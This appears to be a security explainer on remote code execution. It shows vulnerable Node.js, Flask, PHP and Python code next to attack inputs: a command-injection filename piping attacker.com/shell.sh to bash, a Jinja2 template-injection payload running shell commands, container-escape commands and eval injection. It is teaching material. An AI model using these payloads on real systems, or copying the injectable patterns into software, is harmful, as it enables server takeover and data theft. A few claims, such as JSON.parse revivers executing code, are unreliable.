Remote Code Execution Exploit
One Unvalidated Input. Complete Server Takeover.

// Vulnerable Node.js code - PDF generation
const { exec } = require('child_process');

app.post('/api/generate-pdf', (req, res) => {
  const filename = req.body.filename;
  
  // User controls the filename - what could go wrong?
  exec(`wkhtmltopdf https://example.com /tmp/${filename}.pdf`, (error, stdout) => {
    res.download(`/tmp/${filename}.pdf`);
  });
});

// The attack - filename: "report; cat /etc/passwd #"
// Executed command becomes:
// wkhtmltopdf https://example.com /tmp/report; cat /etc/passwd #.pdf
//
// Result: Attacker reads your password file
// With a reverse shell payload, they own your server

// More dangerous payload:
// filename: "x; curl attacker.com/shell.sh | bash #"
// Now they have persistent access to your system

# Vulnerable Python Flask application
from flask import Flask, render_template_string, request

@app.route('/greeting')
def greeting():
    name = request.args.get('name', 'World')
    
    # DANGEROUS: User input directly in template
    template = f"Hello, {name}!"
    return render_template_string(template)

# Normal request: /greeting?name=John
# Output: Hello, John!

# SSTI Attack: /greeting?name={{config.items()}}
# Output: Dumps Flask configuration including SECRET_KEY

# RCE Payload (Jinja2):
# {{ ''.__class__.__mro__[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate() }}

# This accesses Python's subprocess.Popen through template injection
# and executes arbitrary commands on the server

# Similar attacks work on:
# - Twig (PHP): {{_self.env.registerUndefinedFilterCallback("exec")}}
# - Freemarker (Java): <#assign ex="freemarker.template.utility.Execute"?new()>
# - Velocity (Java): #set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))

# Common container escape vectors:

# 1. Privileged containers (--privileged flag)
# The container has almost all capabilities of the host
docker run --privileged -it ubuntu bash

# Inside privileged container - mount host filesystem:
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Now you have full access to host filesystem

# 2. Docker socket mounted in container
# If /var/run/docker.sock is accessible:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host

# 3. Kernel exploits (like CVE-2022-0185)
# Vulnerable kernel allows escaping container namespaces
# Attacker gains root on the host system

# 4. Exposed container runtime APIs
# Kubernetes API without proper RBAC
kubectl run pwned --image=attacker/malicious --restart=Never

# What attackers do after escape:
# - Access secrets from other containers
# - Pivot to other nodes in the cluster
# - Install cryptominers on bare metal
# - Exfiltrate data from the host

// JavaScript - eval() vulnerability
app.get('/calculate', (req, res) => {
  const formula = req.query.formula;
  
  // User wants: 2+2
  // Attacker sends: require('child_process').execSync('cat /etc/passwd')
  const result = eval(formula);
  res.json({ result });
});

// PHP - eval() is even more dangerous
<?php
$code = $_GET['code'];
eval($code);  // Attacker: system('whoami');
?>

// Python - exec() and eval()
@app.route('/run')
def run_code():
    code = request.args.get('code')
    exec(code)  # Full arbitrary code execution
    
# Even "safer" alternatives can be exploited:
# Python's ast.literal_eval can be bypassed in some versions
# JSON.parse with reviver functions can execute code

// The pattern to watch for:
// - eval(), exec(), system(), shell_exec()
// - Dynamic function calls: $func = $_GET['f']; $func();
// - Reflection and introspection with user input
// - Deserialization of untrusted data